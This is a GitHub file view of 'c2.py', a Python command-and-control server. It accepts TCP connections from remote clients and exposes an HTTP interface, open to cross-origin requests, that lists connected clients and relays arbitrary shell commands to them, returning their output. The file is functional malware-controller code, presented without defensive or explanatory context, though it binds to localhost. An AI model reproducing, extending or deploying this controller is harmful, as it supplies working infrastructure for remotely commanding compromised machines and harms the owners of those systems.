-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathc2.py
129 lines (87 loc) · 3.34 KB
/
c2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
import socket
from http.server import BaseHTTPRequestHandler, HTTPServer
import threading
import json
HOST = "localhost"
PORT_TCP = 8888
PORT_HTTP_SERVER = 8880
clients_socket = dict()
# Define the dynamic html function
def dynamic_html(path):
print(path[1:])
ips = list(clients_socket.keys())
print(ips)
if path[1:] not in ips:
return False
return True
# Define the execute command function
def exec_command(client_socket, cmd):
# send the command to the client
client_socket.send(cmd.strip().encode())
# receive the output from the client
output = client_socket.recv(1024).decode()
return output
def test_command(client_socket):
cmd = input("Enter command: ")
# send the command to the client
client_socket.send(cmd.strip().encode())
# receive the output from the client
output = client_socket.recv(1024).decode()
print(output)
def tcp_server():
# create server socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# bind server socket to port
server_socket.bind((HOST, PORT_TCP))
# listen for connections
server_socket.listen(1)
# accept connections
while True:
# accept connection
client_socket, addr = server_socket.accept()
# get the client full address
ip_addr = str(addr[0]) + ':' + str(addr[1])
# add client socket to dictionary
clients_socket[ip_addr] = client_socket
# class that models the http server
class HTTPServerStructure(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/clients":
self.send_response(200)
self.send_header("Content-type", "application/json")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
# transform the list of the dictionary keys to json
clients_json = json.dumps(list(clients_socket.keys()))
# send the json to the client
self.wfile.write(clients_json.encode())
def do_POST(self):
if dynamic_html(self.path):
# get the content length
content_length = int(self.headers['Content-Length'])
# get the post data
data = self.rfile.read(content_length).decode()
# Exec the command in the post request
output = exec_command(clients_socket[self.path[1:]], data)
self.send_response(200)
self.send_header("Content-type", "text/plain")
# allow cross origin requests
self.send_header("Access-Control-Allow-Origin", "*")
#self.send_header("Access-Control-Allow-Methods", "POST")
#self.send_header("Access-Control-Allow-Headers", "Content-Type")
self.end_headers()
# send the output to the client
self.wfile.write(output.encode())
def http_server():
server = HTTPServer((HOST, PORT_HTTP_SERVER), HTTPServerStructure)
server.serve_forever()
if __name__ == '__main__':
# create the tcp server thread
tcp_server_thread = threading.Thread(target=tcp_server)
tcp_server_thread.start()
# create the http server thread
http_server_thread = threading.Thread(target=http_server)
http_server_thread.start()
# wait for the threads to finish
tcp_server_thread.join()
http_server_thread.join()